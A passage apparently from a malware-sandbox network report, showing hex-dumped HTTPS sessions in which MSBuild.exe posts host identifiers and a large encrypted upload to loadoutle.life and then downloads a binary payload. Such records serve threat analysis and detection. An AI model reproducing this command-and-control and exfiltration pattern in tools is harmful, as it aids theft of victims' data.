2025-03-16 18:04:05 UTC	74	IN	Data Raw: 34 34 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 7d 7d 0d 0a Data Ascii: 44{"success":{"message":"message success delivery from 8.46.123.189"}}
2025-03-16 18:04:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49717	188.114.96.3	443	7624	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-16 18:04:06 UTC	278	OUT	POST /kpLsOAm HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0GFISp1QzXC User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 567488 Host: loadoutle.life
2025-03-16 18:04:06 UTC	15331	OUT	Data Raw: 2d 2d 30 47 46 49 53 70 31 51 7a 58 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 36 35 36 35 62 38 62 33 34 37 30 66 39 64 32 65 66 32 36 31 61 33 38 65 66 63 35 39 37 61 66 63 37 37 38 30 31 37 63 31 63 32 61 64 32 66 61 65 65 36 36 30 0d 0a 2d 2d 30 47 46 49 53 70 31 51 7a 58 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 30 47 46 49 53 70 31 51 7a 58 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 38 38 31 43 36 46 38 39 39 42 36 44 46 Data Ascii: --0GFISp1QzXCContent-Disposition: form-data; name="uid"6565b8b3470f9d2ef261a38efc597afc778017c1c2ad2faee660--0GFISp1QzXCContent-Disposition: form-data; name="pid"1--0GFISp1QzXCContent-Disposition: form-data; name="hwid"3881C6F899B6DF
2025-03-16 18:04:06 UTC	15331	OUT	Data Raw: b2 11 f3 14 84 e7 7c 42 fd a7 3b 88 cb 63 fa f1 ce 1c 56 6f 03 0d 1a ac c5 26 66 8d b2 88 e5 2c 04 fe e3 1a 58 06 cb da d4 02 4a e5 2e d5 c6 a8 92 8e 6b 74 10 7f a0 89 65 55 16 7a b7 86 22 cf bb 4e 9f 4e 5b ff 14 a3 3a a5 70 91 0c db 6b be a1 8c 97 a7 64 04 77 18 08 91 de 07 ed f1 ad 28 8f d8 64 7c fd 49 f7 86 74 49 78 b6 81 16 75 fb 1c 4a 16 39 9a 03 cf 10 98 97 57 42 bd a3 43 78 bf 9a dc 0d b1 3d 6c 51 4f 4a 07 24 e9 bf 5e b2 d8 bb 57 ec 80 72 dd 41 95 90 3b 1c 61 1c c8 16 86 a7 bf 64 7c af c3 ce 1e fb 94 16 f4 62 3a 22 88 54 56 89 17 31 08 81 f1 4d bc 74 76 b0 bd d5 72 50 c7 ad f8 1b 45 71 37 63 97 ca e8 7f e0 ea cc a1 c7 a2 e5 55 4d a7 3b ea 72 c4 6c 58 91 8a af dd 35 6b 3a e0 c0 4e b5 76 ea 74 11 52 5a 17 61 75 23 c0 ba 23 c6 d0 94 0f 6d 1b 5d fb e1 Data Ascii: \|B;cVo&f,XJ.kteUz"NN[:pkdw(d\|ItIxuJ9WBCx=lQOJ$^WrA;ad\|b:"TV1MtvrPEq7cUM;rlX5k:NvtRZau##m]
2025-03-16 18:04:06 UTC	15331	OUT	Data Raw: 04 11 6e 41 b8 f4 9b b0 47 39 90 1e b7 3d cd 0f 3d 9c ad bf e3 73 e6 21 3a 02 f0 82 03 54 d6 5c 3a 87 27 b5 ff fa 51 35 45 cb 8d 05 39 fd de 37 70 19 c7 99 8b 3f f0 23 85 9a ff 4b 6a 8c c7 b1 b0 c0 4b 55 2b e9 35 c8 86 d2 c3 a2 55 4e e4 27 0e 3c ca 75 64 7c 53 2a 99 17 a7 47 0d a6 df 71 fb 1e 09 13 24 d5 09 43 6c 58 d8 12 59 b7 9e e7 e8 3b 20 ae 11 80 d7 92 d4 4d 5f dd 22 8c 79 f3 6f 75 85 3d 10 c3 91 ee 0a 77 f5 39 40 cb 3b 3e 73 03 25 f9 10 5e 1d 8b 42 a9 f5 a9 11 44 74 0e fd b6 f1 8f 47 e5 17 b8 3f 93 02 87 6a 28 c0 7f cf 6e 1f c5 62 6d 72 ab 42 eb 27 1c 65 56 bb 5d 69 15 c8 46 36 52 93 27 e3 a4 ae 80 56 e9 13 47 32 06 a8 b7 ab 3c 93 c1 6f 22 4c 97 64 b6 54 80 40 28 4b 22 35 e8 60 82 93 2c b2 0b 09 e6 63 2f da 02 3f 75 28 18 1f f0 76 f4 ce dc 3c 3a 09 Data Ascii: nAG9==s!:T\:'Q5E97p?#KjKU+5UN'<ud\|S*Gq$ClXY; M_"you=w9@;>s%^BDtG?j(nbmrB'eV]iF6R'VG2<o"LdT@(K"5`,c/?u(v<:
2025-03-16 18:04:06 UTC	15331	OUT	Data Raw: 56 b9 58 dd c6 1d fb aa 89 75 2e b0 81 c5 a7 bf ea 20 de 8d da 7e 88 02 ea 95 3d c1 4b 01 b5 ca 8f be 8c 2e 3b ce f7 3f 05 93 4a b3 ad bc 0b 9e 54 08 cd 47 47 aa b3 c9 f0 65 a0 44 70 8b 2b 6b 8f c2 30 f4 44 2f bb 3d 16 83 1e 05 14 1b 4c 82 33 f6 2a 22 21 07 40 77 a7 72 cb a5 cd d1 06 64 cd 77 5c 8f ac 31 c5 c6 43 fb af f4 5a ae 7b 02 ae 7d fc f5 33 f1 9c 17 fd d2 81 dc a5 4c bd bc 76 2a e7 95 74 c0 53 cf e4 7a bb b9 37 41 dd 03 de e2 49 6f ef cb 14 b2 34 49 9a b2 4c 3b 17 65 7b fd 40 20 62 cf 90 40 32 2b 82 a2 ab 10 ee 02 3c d5 68 a1 75 0b cb 5d 6f 92 13 48 34 dc ad 8c ee 7a 7f 60 2c 5a c1 f3 af ce db 3f 9d 54 cf ca f2 5e a4 89 9e fb 1d a0 8b 17 d1 5d 50 8d 2d e6 e2 ca bf 9a 44 16 6b 58 9e 3b 86 4f 12 6b 2c 8b 63 34 ad 78 20 79 dd de 8f b5 21 eb f7 10 df Data Ascii: VXu. ~=K.;?JTGGeDp+k0D/=L3"!@wrdw\1CZ{}3LvtSz7AIo4IL;e{@ b@2+<hu]oH4z`,Z?T^]P-DkX;Ok,c4x y!
2025-03-16 18:04:06 UTC	15331	OUT	Data Raw: fb 45 84 88 6f a2 fb 3e 5e f0 50 16 af 6a b3 63 0a 09 be ca 34 de 8a 2e f3 aa 40 a3 c6 ea c6 69 49 ec 78 64 4f 8d 27 00 10 56 14 28 a6 dd f6 aa e9 aa 50 18 df b0 12 75 b6 1e d3 2b 25 6f c4 07 33 a8 84 65 ed a8 06 c1 31 70 8f 3c 83 e0 ca 3e a0 db 01 27 45 69 78 a2 f0 7f 3c 21 fe c3 37 ae 4e 57 be 39 ee a9 fa a4 59 17 de 6e e2 e2 ad fd 44 86 37 6b c0 ed 5b 40 20 9d ed ac 32 26 6d f1 ca cd 2c 8b ed 96 83 86 25 35 74 22 92 fa 78 88 1a 74 fc 06 bc 8e ac b0 82 e4 45 fe ae 8e c7 e1 c7 d5 17 9c 64 7d 6f 47 c4 a6 f8 ae 3b 7e af 47 e2 72 9a 73 0b 1e 1e c0 90 6c a6 d6 b6 f2 6a 9f a8 f0 9f 8a 49 c9 ad 6c 35 a3 c4 9d e9 be eb 26 87 b1 6d cc be 80 47 49 02 cb 80 aa 10 fd 8b c9 93 aa 8d 1f 95 5c b8 1e bb 4a c7 08 31 ac 3f d2 f3 53 d0 4c 2c f1 f0 f2 14 59 50 e4 46 b0 88 Data Ascii: Eo>^Pjc4.@iIxdO'V(Pu+%o3e1p<>'Eix<!7NW9YnD7k[@ 2&m,%5t"xtEd}oG;~GrsljIl5&mGI\J1?SL,YPF
2025-03-16 18:04:06 UTC	15331	OUT	Data Raw: f8 f2 89 2d 3d 5d 57 2f a0 40 6a 79 14 86 83 2e c3 db b6 2e de c5 f5 57 77 5c f0 1d ea 86 c5 27 45 38 e6 71 6e e1 f3 b3 0a 5f a6 32 e9 24 7c e7 09 75 c7 71 a7 cb 12 8d 51 f6 81 06 15 c9 c2 00 5f 0f 5d 76 f2 56 18 43 aa 5b 9f 9e 0b 03 a1 9e 9c 5a a1 e7 73 ba 06 87 f4 ff 88 63 67 08 7d 0d 46 3f 1b 3b 6f 2e 6b 0b e2 3f 55 98 56 4f 9d e6 de 66 d7 7c f1 20 71 40 ba 6f 2c e5 ec a1 05 15 cb b0 34 82 4c 1c ab ed 1d f5 ab f6 4a 8c c8 56 f3 3c 3f d7 10 bb e2 1f 40 77 79 e7 90 03 73 fb 2d a6 ce 41 ba 74 39 b7 aa 47 a1 2f 04 29 f9 14 6d 90 2c da c9 d4 f8 d4 b2 4b 4c 0c 14 ed 58 29 a2 68 8a dc ab 91 dd 5e d9 c4 8e 5a 64 34 dd b5 c5 75 1f f9 44 78 05 0c 09 a6 6a b3 6d c2 f7 1e f6 f4 d9 36 33 57 ce a1 49 95 9a 23 5d a3 63 05 64 cb 37 2d b7 03 35 9a e6 e0 8e ed ef 86 21 Data Ascii: -=]W/@jy..Ww\'E8qn_2$\|uqQ_]vVC[Zscg}F?;o.k?UVOf\| q@o,4LJV<?@wys-At9G/)m,KLX)h^Zd4uDxjm63WI#]cd7-5!
2025-03-16 18:04:06 UTC	15331	OUT	Data Raw: b8 aa 8c 96 3a 15 d6 6f b6 b6 93 4f 64 e9 b7 08 68 a0 f0 b9 f1 cf c6 6f 96 2b 7b f0 68 e1 55 4b 4e 11 5d b1 fd 4e 3c f1 93 98 c8 b5 59 b2 9a aa 9c 08 9c 39 c6 f1 1c bb 04 d2 e1 0b 90 f6 27 7c 8c 10 d3 2a 27 6f 6d 6c 49 35 d2 e3 60 f7 c6 8a 53 ae 14 b3 82 fc d2 4f 3e 3f 5f 52 3c f3 bc d6 12 1a f8 48 ca 23 c0 77 2e 44 61 2a 53 9b d3 e5 e2 dc d8 28 d6 cb 30 bc 8b 46 c2 a0 57 2c 3d d2 4e 6a f6 e9 b5 f3 6a 7a 3b 74 89 1f e6 fc 96 70 bb 1b b5 13 3a 7e e5 9c d0 c7 e6 19 0d 6b 19 02 6e 42 cd a5 d9 4e a4 df 90 34 5f 69 66 7e 22 27 bf 3b 4d b6 ad 73 05 7f f9 e3 1d e7 6b 77 32 de b9 66 2b 4e f1 be 26 04 a0 a5 98 15 66 f0 4b c4 61 f7 51 38 77 52 f9 22 c6 0d 7d 48 2c e0 4f 08 95 a2 ce 29 f8 5d 1d a6 02 9e bf 30 35 7a 6f a7 2e 54 89 18 cc 99 60 cd 6b 03 3f eb ba d5 38 Data Ascii: :oOdho+{hUKN]N<Y9'\|'omlI5`SO>?_R<H#w.DaS(0FW,=Njjz;tp:~knBN4_if~"';Mskw2f+N&fKaQ8wR"}H,O)]05zo.T`k?8
2025-03-16 18:04:06 UTC	15331	OUT	Data Raw: 5a e1 b4 fb a6 ba 93 1b e6 86 21 ad c9 85 6f 16 40 9c 38 b3 40 15 fa 3d cb 8f d0 34 e3 c6 3b 03 c7 9b 5b c8 94 4b bc de 8d 41 c5 27 ac dc b1 41 c0 f1 10 35 76 4c 01 c5 1c 13 a2 97 2e cd 5d 66 68 f7 00 f3 dd a1 31 32 9b 89 f9 9b cb ba ed 83 b3 8c ec 56 94 d4 60 17 fc d4 10 21 a3 12 02 d6 b4 5f 38 3a 28 f7 e8 3b 71 37 fc 9d 7f 66 eb fd 8e 8b 79 89 50 40 86 2a 01 72 a7 51 f0 d3 ed db c4 26 09 46 bf 12 e0 17 77 22 78 74 1e df 6b 20 a0 3b 74 5f b3 72 84 00 52 80 8d 69 b8 b1 bb 72 71 e8 c3 a0 9c bb 1b e2 d3 2f 43 47 64 08 55 f7 f6 50 f3 02 2a 97 5e 43 44 fd 9a ef b6 e5 fe e4 be 6d 44 71 aa 76 24 54 83 c8 06 0a a0 4f da 15 69 cc 58 79 26 5b c9 3f 9e 31 00 1f 8c 75 a2 29 87 1f 83 13 44 99 18 43 90 38 7a e9 a7 c2 9a b9 e4 4c 94 48 48 a2 ad 34 af 71 ce 53 69 cb ec Data Ascii: Z!o@8@=4;[KA'A5vL.]fh12V`!_8:(;q7fyP@rQ&Fw"xtk ;t_rRirq/CGdUP^CDmDqv$TOiXy&[?1u)DC8zLHH4qSi
2025-03-16 18:04:06 UTC	15331	OUT	Data Raw: 66 19 96 80 56 31 a6 9d b7 1d 37 94 bb ae f5 c6 f8 a6 fd 6b 4f 33 6e 70 ae 97 3b 5f d6 87 31 1f 26 99 51 41 a8 e8 9a 0b de ba 2a dd cd 39 4b 8a 67 62 33 19 da 46 18 43 0d bd 12 b7 7a a3 e4 0f bf a3 5f 7b c1 c2 34 88 91 ca c4 78 06 57 74 d3 f5 2b 4e c3 07 0a f9 20 90 c2 c7 d5 5b ac 93 b8 72 ff 9f 1a f0 69 89 b5 1d e0 1c dd 77 fc 8e 55 76 c7 7c 07 c4 a6 d1 b5 b7 6a db 68 5a 52 7a db d8 09 dc 80 36 0c 3b 54 7e 9c 24 4d 12 91 e8 69 1e ff 0b 06 6e da 98 91 8b 55 54 55 ed 1c 10 fc 22 8f 4e 0f 5e c8 af 65 53 a9 b1 a9 2e 11 24 4c 3d 02 d2 81 22 1e 71 aa 0a 37 e7 c7 19 dc 20 92 07 86 fb 0d e7 e6 44 1e 36 d2 20 6c a4 97 e7 bf 96 b8 00 65 1d 2e 7e 7a e8 06 cc 59 92 91 ff 0c b3 fa b7 3d 5c c6 f2 85 d5 27 bd 63 a4 2d 94 12 37 90 63 44 2d 3c a5 70 cd c7 c2 0c 1e b5 b0 Data Ascii: fV17kO3np;_1&QA*9Kgb3FCz_{4xWt+N [riwUv\|jhZRz6;T~$MinUTU"N^eS.$L="q7 D6 le.~zY=\'c-7cD-<p
2025-03-16 18:04:06 UTC	15331	OUT	Data Raw: 6d 1f fd e7 2b 69 16 42 42 bf 92 64 e5 f8 2e bf ec a2 70 80 66 1c 44 a5 9f bb b8 a5 db af fa 0f 85 fd 3b b0 f5 e5 48 4e 34 2d 19 ba 89 77 25 f6 85 15 ec 2c 4d eb 41 42 55 63 8b 27 f1 ad e0 2d e6 8f a5 3e d3 5d 8b e0 6e b0 37 44 74 77 43 0f 55 e9 25 96 cb 00 cf 27 1f e4 1d 13 bd 5b 2f c3 89 4f 51 c3 60 a2 5a 2a 40 c6 44 69 a2 73 00 ac 01 05 69 d7 23 e3 3c 60 be 13 2f 74 c2 83 49 00 eb 98 c6 4a 47 a8 9f 43 9b 41 c9 75 c3 58 ee 11 17 d0 f2 00 3e 86 30 9e 07 80 4d c1 2b d6 73 3f 8a 72 2f 77 9b 06 cc ce 33 44 89 04 a7 77 63 1f fa de 1a 8f 72 d7 88 57 e1 f3 7a 6d 70 09 39 1a 6a ee ba f5 46 45 87 c4 85 ba ed 0f bf c6 7b 81 98 81 08 5a a4 44 c6 30 e3 11 66 cd 4b e9 5f 3c fd 29 55 d3 70 81 c1 12 77 20 9f 76 83 ff d5 0d 07 8b e5 24 8d 25 70 6d d2 67 66 8f 6c 99 3e Data Ascii: m+iBBd.pfD;HN4-w%,MABUc'->]n7DtwCU%'[/OQ`Z*@Disi#<`/tIJGCAuX>0M+s?r/w3DwcrWzmp9jFE{ZD0fK_<)Upw v$%pmgfl>
2025-03-16 18:04:08 UTC	822	IN	HTTP/1.1 200 OK Date: Sun, 16 Mar 2025 18:04:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lU8vAgF5rDpHUYK29wpVJLvxwua%2FN%2Bf3QzF8YHRXt8C60f%2BF6PbTEo4Ixi808cjlaK9KyOm8VsXPJxROQlvmNgTv2QU59OgIWx2wSp9V0vsck20JDG2TJWJnUA51b%2BRnuw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92162bcd9bec41e1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1660&min_rtt=1655&rtt_var=631&sent=201&recv=575&lost=0&retrans=0&sent_bytes=2832&recv_bytes=570030&delivery_rate=1720683&cwnd=247&unsent_bytes=0&cid=739adfd019649ed7&ts=1500&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49719	188.114.96.3	443	7624	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-16 18:04:08 UTC	266	OUT	POST /kpLsOAm HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 99 Host: loadoutle.life
2025-03-16 18:04:08 UTC	99	OUT	Data Raw: 75 69 64 3d 36 35 36 35 62 38 62 33 34 37 30 66 39 64 32 65 66 32 36 31 61 33 38 65 66 63 35 39 37 61 66 63 37 37 38 30 31 37 63 31 63 32 61 64 32 66 61 65 65 36 36 30 26 63 69 64 3d 26 68 77 69 64 3d 33 38 38 31 43 36 46 38 39 39 42 36 44 46 35 45 36 41 42 42 39 30 42 42 38 44 45 46 36 46 32 36 Data Ascii: uid=6565b8b3470f9d2ef261a38efc597afc778017c1c2ad2faee660&cid=&hwid=3881C6F899B6DF5E6ABB90BB8DEF6F26
2025-03-16 18:04:08 UTC	787	IN	HTTP/1.1 200 OK Date: Sun, 16 Mar 2025 18:04:08 GMT Content-Type: application/octet-stream Content-Length: 10448 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yjwLYj2Osl2nZSxwOE4GlK0q65zaSUUsqy0fVqtyzKIzcaaAvF7McuIEqQBt%2Byi5YlretR%2Bi6d6FKfRWRy4WbtpFZXk3%2BT6j%2Bju7xnl4E7fLMxS4e32Aw6841cu42n2UNA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92162bda09e041b4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1761&min_rtt=1758&rtt_var=666&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1001&delivery_rate=1634938&cwnd=183&unsent_bytes=0&cid=145214b0ac34d918&ts=411&x=0"
2025-03-16 18:04:08 UTC	582	IN	Data Raw: fa d1 1d dd bb 29 df 4e c5 e4 df d0 e7 04 2c 91 9e d4 74 57 1a 62 3f 74 df f3 c2 88 f0 03 f1 6a 73 8d 35 15 aa 37 d9 0e 51 32 78 21 0f be ce 97 2b d9 64 2e 84 05 96 c0 a6 dc a0 34 c0 bd c8 c0 52 b6 2d f1 39 e2 8c 3f bb 41 8e ac 1a d1 e2 87 e9 d5 f7 5c ba 1f 36 55 68 00 be c0 61 46 a4 a0 cd 69 c6 d5 1b 47 a2 1c 11 ba f3 0d ba 59 18 98 82 90 d0 f7 81 13 65 d3 43 99 28 d9 06 67 ae 07 89 d2 7b dc e7 16 0a 61 0a ee cb fc 1b 52 5e 25 eb cd c1 62 40 01 ad d9 f8 5c 0c 33 2f 56 4d 3a 5e 57 a6 48 c4 7e c9 bc 5b be 4c 44 b3 7a cb 5a e5 fa 96 2b 21 a0 81 aa 85 84 63 b0 c4 5b 53 02 ee 94 c2 bb d0 98 7d 32 00 26 f6 c0 56 68 2a 8f 20 95 0a 93 aa 23 92 5b 62 2e 42 01 dc 44 c6 5b cd 9f 67 33 8b 2e 4d 18 92 f4 2e 5e 89 de ed e6 a6 2c 7a 8f 6b a6 ac c8 33 58 e0 37 ec 51 24 Data Ascii: )N,tWb?tjs57Q2x!+d.4R-9?A\6UhaFiGYeC(g{aR^%b@\3/VM:^WH~[LDzZ+!c[S}2&Vh* #[b.BD[g3.M.^,zk3X7Q$
2025-03-16 18:04:08 UTC	1369	IN	Data Raw: 80 52 3f 29 9e 98 1e fc 57 48 32 3b 22 db 00 c7 df 2c 92 95 63 9a a2 ac 19 67 26 a0 c1 66 fa 0f 53 49 a2 6d ca b8 0c 91 fc 5e fa ae 89 7f 65 42 6a 34 28 a0 e4 3e 16 9f 30 02 69 0b f0 36 3f ac cf eb 2f 5a 9f 44 c7 10 94 9d f4 3a 25 99 3f 28 3e 09 ce e0 7a 4c 2f c8 c1 30 6b f7 3f 89 4e a4 18 0f 87 d5 14 4b 90 3f c7 45 e5 58 52 e6 bf 75 08 70 23 f7 cf 77 a5 7d 03 7b 4e e4 38 e0 ee 22 36 f5 59 87 c2 73 e0 6c 06 c0 7c 2f 1b b0 5d eb e9 b8 1b 53 5f fd 89 c7 73 7c 36 2c ba ff b9 31 6d 73 42 56 30 a5 4b 37 2a 7e d6 0a 88 a9 74 77 ad bc d1 c9 04 4f fe 51 af 07 d0 49 70 83 f7 2f 87 4d de 73 44 d3 c6 4e a1 b6 c4 3c 87 a3 fc 18 ec b5 69 4e 91 46 7c e5 1f a6 92 bc b4 7c 36 cf 36 d8 c8 98 32 45 b9 de 93 ae 7d 43 a2 ed e1 48 91 75 d6 2f 4e 8c 02 de 5d d6 05 c0 9c 49 eb Data Ascii: R?)WH2;",cg&fSIm^eBj4(>0i6?/ZD:%?(>zL/0k?NK?EXRup#w}{N8"6Ysl\|/]S_s\|6,1msBV0K7*~twOQIp/MsDN<iNF\|\|662E}CHu/N]I
2025-03-16 18:04:08 UTC	1369	IN	Data Raw: e5 9f 3e 40 be 00 6d 7c fb 84 2f c5 91 29 41 2f 60 82 19 f6 81 e4 a5 be cb bb 82 75 72 1f 57 44 a6 e4 f5 10 00 e1 0a 2d be b5 b7 44 34 28 27 58 48 d8 2b da 15 cc 34 1c 79 be 03 59 7d 03 a3 07 95 9a af 25 54 7a 91 df 34 ef 42 36 e0 e1 c0 89 00 ca 49 85 0b 14 ed 55 e5 15 68 27 62 3c 9c ef ef b5 ad e9 ec a7 8f 02 74 8b 3d aa d8 a4 0c c6 7c f6 d4 c8 c3 eb 66 41 32 1f 6a 2f a0 71 1d 63 54 6d 30 9c 9a 63 73 fe 56 1c c7 dd ab 3b f2 e6 e7 9d a5 39 02 04 bc f7 2b 98 eb fd 41 56 3c 36 f6 b8 f3 76 c3 ed f4 4b 44 18 31 99 25 66 de 4d 17 30 8f ab 32 bf 7a a5 aa 2d 84 7d 48 32 a2 46 cb 8f 0d 7a 6f b5 6a f1 b6 26 73 26 f0 e5 76 ff 51 65 d8 d8 e4 7c bd 57 49 93 0e fa a8 3b 18 fd e6 cb e9 2c 11 08 e3 8e bc f3 78 1e f2 75 e9 e3 dd 1c 7f e7 a6 97 b9 ef e0 78 35 bf 5f 1a 90 Data Ascii: >@m\|/)A/`urWD-D4('XH+4yY}%Tz4B6IUh'b<t=\|fA2j/qcTm0csV;9+AV<6vKD1%fM02z-}H2Fzoj&s&vQe\|WI;,xux5_
2025-03-16 18:04:08 UTC	1369	IN	Data Raw: 81 5a 4e 61 a6 e2 af 6a c9 09 fc 14 ef 68 c7 7e e7 c0 9b 79 d7 77 31 4f f4 b6 20 8b 1c 9a 9e e6 21 8a 5d 31 95 42 0f 2a f7 aa 2b d3 e5 ee 45 60 7c 69 8a a1 c8 c6 87 73 9c 2a 9a 26 26 14 18 f4 8f 8f 51 d3 7f 1b 5d 44 ba 52 56 45 8f aa 38 cb 0e ae 09 8d aa cb d1 7f ae dd 06 8e 15 bf 51 39 a0 8a 7c 04 d7 3e 23 28 f0 62 7a 25 a7 79 53 0b 95 96 51 78 ca c1 c9 65 bf 0a 19 dd 85 5c d4 9a 34 6f 6b 43 b1 a1 99 ba 96 99 db 42 40 9e fc a5 7d 0b c7 f4 df 75 49 a5 c3 61 74 7c be 1b f7 30 d9 8d bb 1d 2d 9d b5 ec 90 32 3b 5f 01 6c 9b 11 c1 f9 07 f6 b7 03 72 93 64 5b 9e 05 29 84 72 7d 82 82 db 50 f6 ac 74 79 57 ae 7b a0 69 c5 9f 48 57 c6 06 5c 9d 6e 39 a8 f8 dd b9 de a7 c6 15 a9 01 64 32 5b 6a a2 c4 a1 85 d1 4a f7 69 2c 8e ef 71 e6 18 ed 7c fd 0d a9 24 c9 cb 27 89 f1 ea Data Ascii: ZNajh~yw1O !]1B+E`\|is&&Q]DRVE8Q9\|>#(bz%ySQxe\4okCB@}uIat\|0-2;_lrd[)r}PtyW{iHW\n9d2[jJi,q\|$'
2025-03-16 18:04:08 UTC	1369	IN	Data Raw: c8 f6 e1 a5 69 61 66 b6 65 f8 c4 3f 3e c7 ca c8 a6 71 dd 26 7f b7 58 a0 00 71 26 95 99 1d 3e 37 f0 26 81 41 05 c3 fd cb 13 8a b5 14 26 0c 8c 4f 7a 04 45 3e 41 69 74 2b d1 a7 07 8d 75 e5 0e 64 cf 70 20 7c 68 5e ea fd 02 50 ca d0 d9 33 0d 38 d0 c7 d2 70 cf 1f f7 ba 2f e0 05 d8 ca 89 75 4b 76 3e 7b 09 63 58 34 3d 53 64 22 2e 34 63 b6 c1 4d d5 54 48 7b 3a dd e9 0c e5 5d f7 77 70 24 a2 30 2c c1 78 6b f6 29 67 c5 ef a3 ab c4 f1 22 3b 84 fa 43 c9 34 ee 68 67 fa 03 5e aa fb 20 a8 0d bc 69 4c e0 1e e6 e1 b1 b4 3a 84 be 29 32 3d af e2 be 86 e0 67 47 08 3a bc 87 8d eb 65 de e7 eb b0 3b 3a 2f 0d 84 01 1e 23 94 5e a5 db 6a 8c a8 f6 f2 67 17 d6 10 e6 3a e5 3e 92 ad cf 4e c4 40 c7 06 6e f2 2e 19 1d b2 1d 43 02 f3 fb 41 e4 85 1d 19 74 ea 42 d5 be e7 fb f9 ef 00 79 b3 5b Data Ascii: iafe?>q&Xq&>7&A&OzE>Ait+udp \|h^P38p/uKv>{cX4=Sd".4cMTH{:]wp$0,xk)g";C4hg^ iL:)2=gG:e;:/#^jg:>N@n.CAtBy[
2025-03-16 18:04:08 UTC	1369	IN	Data Raw: 6e f6 ac af 24 ea 8b 33 dc 07 39 84 5c 64 33 90 79 7a b4 9a 58 b4 a4 7b f4 a0 97 25 45 92 46 28 12 e5 98 d2 df cb 85 0c 16 85 0e 27 a9 07 fb 7b b5 d8 c1 fa 85 55 5b e3 2c fa 98 62 a4 0b bf 67 2d e2 23 96 bd 9f dd 68 cb 13 b9 9d 20 3f 50 c5 2e b5 7b cd 54 34 25 9e 7c e2 4c 44 9f 0d af 86 a9 04 3f 27 f4 a0 6f f4 e8 87 44 b5 25 a1 12 0e 23 c4 15 85 81 44 58 40 f3 78 32 7d c7 4e 5d b5 6a e3 9b 6d 62 0f 0a df 38 58 61 b2 c8 8e 3a b2 ea 5f 4b 02 29 ab cc 89 ad 83 59 75 a4 f3 79 eb 27 8b a8 cb 90 d4 6d 13 94 65 3a 75 6e ce 73 9e 41 30 74 46 d4 23 9c d6 14 7c b8 cf 65 a4 be fa 4d bd e5 66 12 49 85 9c be 90 85 8a 8c 91 5a f3 66 81 8e 9d 1a 32 c4 6b 56 38 79 ca 07 03 bb 52 95 d3 03 75 6b 79 54 61 ee a8 87 89 4d 3d 3e 5e 47 ec c2 70 b6 d2 3a 57 6e bf d2 3e d4 e8 5c Data Ascii: n$39\d3yzX{%EF('{U[,bg-#h ?P.{T4%\|LD?'oD%#DX@x2}N]jmb8Xa:_K)Yuy'me:unsA0tF#\|eMfIZf2kV8yRukyTaM=>^Gp:Wn>\
2025-03-16 18:04:08 UTC	1369	IN	Data Raw: a3 a1 6d 1e 43 55 c7 a3 7f 73 90 67 98 d8 1a b2 80 c0 cf 6c 0a 46 55 cb c5 32 aa 22 67 19 6f b7 45 ec d7 9f 9f 66 1d 68 eb 83 d9 8b 9b 16 9b 8e d6 c5 1a cd 9c 2c 2a 89 2f cd 07 1b 0b 39 1a 79 39 42 e4 34 cc 8b 7a ad b1 a0 54 6c 70 1c db 74 6a d4 ab e3 09 7a 1b 3f 88 38 c2 7b f1 42 62 6e 34 86 97 44 d2 9b b7 91 8e b2 78 32 ca 60 d4 2d 62 22 9e de da 54 49 1f 36 56 70 03 b2 5d 89 8e 20 fd 86 c6 de ea c9 78 27 c8 51 74 c8 46 32 f0 6d 3c 14 54 3a 5d 84 7b a0 3f 4a d6 17 2f ec 5c 2b cf b3 7f 2e 35 24 c1 b5 72 16 5d 4a a3 1d 90 1e ec 40 ae a4 a4 4e 72 26 9b d6 49 2a a1 96 dc bb e3 11 bd 52 8c a6 cc 28 80 dc 25 17 fb e3 7a 56 e7 11 80 a7 df 00 d0 2b 39 2c 8a 4d ef 83 30 79 b4 9e a9 fe a1 79 51 37 46 c6 2a cb ca 69 7e 46 12 11 bd ce d8 aa 5c aa b6 